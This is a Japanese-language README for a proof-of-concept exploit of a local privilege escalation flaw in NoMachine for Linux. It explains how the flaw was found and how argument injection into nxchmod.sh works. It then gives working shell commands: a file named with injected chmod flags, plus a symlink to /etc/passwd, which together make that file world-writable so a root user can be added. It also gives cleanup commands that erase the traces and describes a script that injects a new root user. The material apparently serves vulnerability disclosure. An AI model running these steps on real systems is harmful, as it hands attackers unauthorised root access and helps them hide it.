
CVE-2026-53694の概念実証エクスプロイトと解説:NoMachine for Linuxにおける、nxchmod.shの引数インジェクションを介したローカル権限昇格、シンボリックリンク操作によるルートアクセスを可能にします。
このリポジトリは、CVE-2026-53694(NoMachine for Linuxにおけるローカル権限昇格(LPE)脆弱性)の報告書と概念実証(PoC)を含んでいます。
nxchmod.shスクリプトにおける引数区切りの不適切な無害化により、ローカルの非特権ユーザーがrootとして実行されるシステムコマンドに引数を注入できます。この引数インジェクションとシンボリックリンクを組み合わせることで、攻撃者は重要なシステムファイル(/etc/passwdなど)を上書きし、権限をrootに昇格させることができます。
この脆弱性はベンダーによって完全に修正されています。
この脆弱性の発見は、試行錯誤と深夜の気づきによるプロセスでした。以下が発見の経緯です。
/usr/NX/scripts/restricted/nxchmod.shスクリプトがrootユーザーによって定期的に実行され、特定のディレクトリ内のパーミッションを管理していることに気付きました。chmod a+rwを適用しているのを見て、*宛先を制御できるなら、シンボリックリンクを使って/etc/passwdを書き込み可能にできないか?*と考えました。標準的なシンボリックリンク(ln -s /etc/passwd /tmp/asdf)を試しましたが、失敗しました。/tmpのようなディレクトリのスティッキービットにより、rootユーザーが他のユーザーが作成したシンボリックリンクを無差別に辿ることができないためです。${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}。スクリプトはリテラルのファイル名をそのままchmodに渡していました。X1234 -R -Lという名前のファイルを作成しました。スクリプトが実行されると、chmodコマンドはこれを単一のファイルパスではなく引数として展開しました。-L(シンボリックリンクを辿る)および-R(再帰的)フラグをchmodコマンドに注入することで、chmodバイナリ自体にディレクトリ内に作成したシンボリックリンクを解決・追跡させ、スティッキービット保護を完全に回避しました。/etc/passwdが書き込み可能(a+rw)になれば、新しいrootユーザーをファイルに追加し、suでそのユーザーに切り替えるだけで済みます。この脆弱性は、NoMachineがX11/Waylandソケットのパーミッションを処理する方法に起因します。nxchmod.shスクリプトは、rootとして実行されるnxserver.binデーモンによって起動されます。
脆弱な実行は次のようになります:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
攻撃者がディレクトリ構造とX1234 -R -Lという名前のファイルを作成すると、rootによって実行されるコマンドは次のようになります:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
/etc/passwdを指すシンボリックリンクをX1234ディレクトリ内に配置すると、注入された-Rおよび-L引数によりchmodがシンボリックリンクを再帰的に辿り、対象ファイルにグローバルな読み取り/書き込み権限を付与します。
このエクスプロイトが機能するには、ターゲットシステムが以下の条件を満たす必要があります:
この脆弱性は、シェルコマンドを使用して手動で、または提供されているPythonスクリプトを使用して自動的に再現できます。
/tmp/.X11-unix/に移動し、以下のコマンドを実行して悪意のあるディレクトリ構造を作成します。
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
脆弱性を確認し権限昇格が完了したら、以下のクリーンアップコマンドを実行してシステムの安定性を回復し、痕跡を削除します。
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
完全な自動化エクスプロイトがpoc.pyで提供されています。このスクリプトはWaylandの要件を確認し、シンボリックリンクを設定し、nxchmod.shの実行サイクルを待機し、新しいrootユーザー(gg)を/etc/passwdに注入します。
エクスプロイトを実行するには:
python3 poc.py
この脆弱性はNoMachineによって対処されました。ユーザーは以下のバージョン以降に更新する必要があります: